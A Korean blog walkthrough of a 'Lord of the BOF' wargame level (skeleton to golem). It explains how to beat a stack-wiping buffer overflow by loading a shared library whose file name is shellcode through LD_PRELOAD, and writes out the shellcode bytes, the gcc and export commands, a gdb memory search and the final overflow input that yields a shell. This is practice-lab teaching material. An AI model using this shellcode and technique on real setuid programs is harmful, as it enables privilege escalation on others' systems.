-
[LEVEL11] (skeleton -> golem) : stack destroyerWargame/LordOfTheBof (redhat) 2013. 7. 5. 10:49
1. 문제 Source
/* The Lord of the BOF : The Fellowship of the BOF - golem - stack destroyer */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer! memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); }
우선 소스를 살펴보자.
1. 인자의 개수(argc)는 2개 이상
2. argv[1][47]의 값은 \xbf 여야 한다.
3. RET를 제외한 모든 buffer의 시작주소부터 0xbfffffff까지 모두 0으로 초기화.
이젠 완벽하게 Stack의 끝부분 (0xbfffffff) 까지 초기화되어 버린다...
2. 공유 라이브러리
위 3번의 조건때문에 사실상 Stack은 더이상 사용할 수가 없다.
하지만 아직 사용할 수 있는 부분이 있다. 우선 아래의 메모리 구조를 살펴보자.
스택의 왼쪽 부분에 공유 라이브러리 영역이 보이는가 ? 이 부분을 사용하도록 하자.
공유 라이브러리는 프로그램이 시작되기 전 심볼(함수,변수)들을 로드하여, 필요로 할때마다 연동되는 동적인 라이브러리다. 만약 하나의 프로그램이 실행되어서 공유 라이브러리를 사용했다면, 그뒤에 공유 라이브러리를 사용하는 모든 프로그램은 자동적으로 만들어져 있는 공유 라이브러리를 사용하게 된다.
또 LD_PRELOAD 를 이용하면 공유 라이브러리 부분에 원하는 라이브러리 파일을 적재할 수 있다. 이렇게 라이브러를 등록하게 되면 프로그램이 실행되기전 적재할 라이브러리를 로드하게 된다.
그럼 만약 파일명이 shellcode인 라이브러리를 LD_PRELOAD에 등록하게 되면 어떻게 될까 ? 프로그램이 실행되기 전에 해당 라이브러리를 로드하게 되고, 메모리에 shellcode가 올라가게 되는것이다.
즉 정리하자면 결론은 다음과 같다.
스택 영역에 shellcode를 올릴 수 없다. 하지만 LD_PRELOAD 를 이용해서 공유 라이브러리 영역에 shellcode를 올릴수 있다.
이제 직접 시도해보자.
3. Exploit
사용할 shellcode는 아래와 같다. (총 39 Byte)
\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3
어차피 파일명을 shellcode로 하면 되므로, 소스는 중요하지 않다. 아래와 같이 대충 c 파일을 만든다.
[skeleton@localhost skeleton]$ echo "void attack(){}" >> attack.c
이후 컴파일한다. 파일명을 shellcode로 해주는것이 핵심. exploit을 쉽게 하기 위해 shellcode 앞부분에 NOP를 100개정도 넣어주었다.
처음보는 gcc 옵션이 있는데 이는 공유 라이브러리를 만들기 위한 옵션이다.
[skeleton@localhost skeleton]$ gcc attack.c -fPIC -shared -o `python -c "print '\x90'*100 + '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"`
[skeleton@localhost skeleton]$ ls -l
total 28
-rw-rw-r-- 1 skeleton skeleton 16 Jul 5 10:20 attack.c
-rwsr-sr-x 1 golem golem 12199 Mar 2 2010 golem
-rw-r--r-- 1 root root 539 Mar 29 2010 golem.c
-rwxrwxr-x 1 skeleton skeleton 5698 Jul 5 10:20 ????????????????????????????????????????????????????????????????????????????????????????????????????h?��?h�?SThjo?�h?i0chi0tij?Y�??Iy�A��T
파일명이 shellcode인 공유 라이브러리가 완성되었다. 이제 LD_PRELOAD에 등록하자. (절대경로를 입력해줘야 하는것을 잊지 말자.)
[skeleton@localhost skeleton]$ export LD_PRELOAD="`python -c "print '/home/skeleton/' + '\x90'*100 + '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"`"
이후 env 명령으로 확인해보면 잘 들어가있는것을 볼 수 있다.
[skeleton@localhost skeleton]$ env
LESSOPEN=|/usr/bin/lesspipe.sh %s
...중략...
OSTYPE=Linux
LD_PRELOAD=/home/skeleton/����������������������������������������������������������������������������������������������������h��h�
SThjo��hi0chi0tijY�
Iy�A��T
이제 gdb로 파일명이 shellcode인 공유 라이브러리가 어디에 있는지 메모리를 확인해보자.
우선 사본을 만들고 gdb를 붙이자.
[skeleton@localhost skeleton]$ cp golem golea
[skeleton@localhost skeleton]$ gdb -q golea(gdb) disas mainDump of assembler code for function main:0x8048470 <main>: push %ebp0x8048471 <main+1>: mov %esp,%ebp...중략...0x804850e <main+158>: call 0x8048398 <memset>0x8048513 <main+163>: add $0xc,%esp0x8048516 <main+166>: leave0x8048517 <main+167>: ret0x8048518 <main+168>: nop0x8048519 <main+169>: nop프로그램이 종료되기 직전인 main+166부분에 break point를 건다.
(gdb) b *main+166
Breakpoint 1 at 0x8048516
(gdb) r `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`
Starting program: /home/skeleton/golea `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����
Breakpoint 1, 0x8048516 in main ()
Stack보다 낮은 주소에 공유 라이브러리가 있으니 -2000부터 낮은 주소를 살펴보자.
아래의 명령어를 친 후, 아무 명령어 없이 계속 엔터만 쳐도 알아서 낮은주소를 계속 살펴볼 수 있다.
(gdb) x/100wx $ebp-2000
보다보면 아래와 같이 shellcode를 확인할 수 있다. 대충 중간값인 0xbffff608 을 이용하자.
(gdb)
0xbffff5a8: 0x00000001 0x40000824 0xbffff5bc 0x400075bb
0xbffff5b8: 0x40017000 0x00002fb2 0x40013868 0xbffff794
0xbffff5c8: 0x4000380e 0x40014470 0x6d6f682f 0x6b732f65
0xbffff5d8: 0x74656c65 0x902f6e6f 0x90909090 0x90909090
0xbffff5e8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff608: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff618: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff628: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff638: 0x90909090 0x90909090 0x68909090 0x81cee28a
0xbffff648: 0x530cb168 0x6f6a6854 0x0168e48a 0x68633069
0xbffff658: 0x69743069 0xfe59146a 0x79490c0c 0xe1f741fa
0xbffff668: 0x4000c354 0x40013868 0x4000220c 0xbffffb9b
0xbffff678: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff688: 0x40014a00 0x00000000 0x00000000 0x00000000
0xbffff698: 0x00000000 0x00000006 0x00000000 0x00000000
0xbffff6a8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff6b8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff6c8: 0x00000000 0x00000000 0x00000000 0x00000001
0xbffff6d8: 0x00000000 0x00000001 0xbffff5cc 0x00060000
0xbffff6e8: 0x00000000 0x00000000 0x00000000 0x00000001
0xbffff6f8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff708: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff718: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff728: 0x00000000 0x00000000 0x00000000 0x00000000
아래는 최종 구성이다.
buffer
SFP
RET
40 Byte
4 Byte
4 Byte
A * 40
BBBB
\x08\xf6\xff\xbf
[skeleton@localhost skeleton]$ bash2
[skeleton@localhost skeleton]$ ./golem `python -c "print 'A'*40 + 'BBBB' + '\x08\xf6\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB���
bash$ my-pass
euid = 511
cup of coffee
성공 !
'Wargame > LordOfTheBof (redhat)' 카테고리의 다른 글
[LEVEL10] (vampire -> skeleton) : argv hunter (0) 2013.06.28 [LEVEL9] (troll -> vampire) : check 0xbfff (0) 2013.06.28 [LEVEL8] (orge -> troll) : check argc (0) 2013.06.27 [LEVEL7] (darkelf -> orge) : check argv[0] (0) 2013.06.27 [LEVEL6] (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter (0) 2013.06.27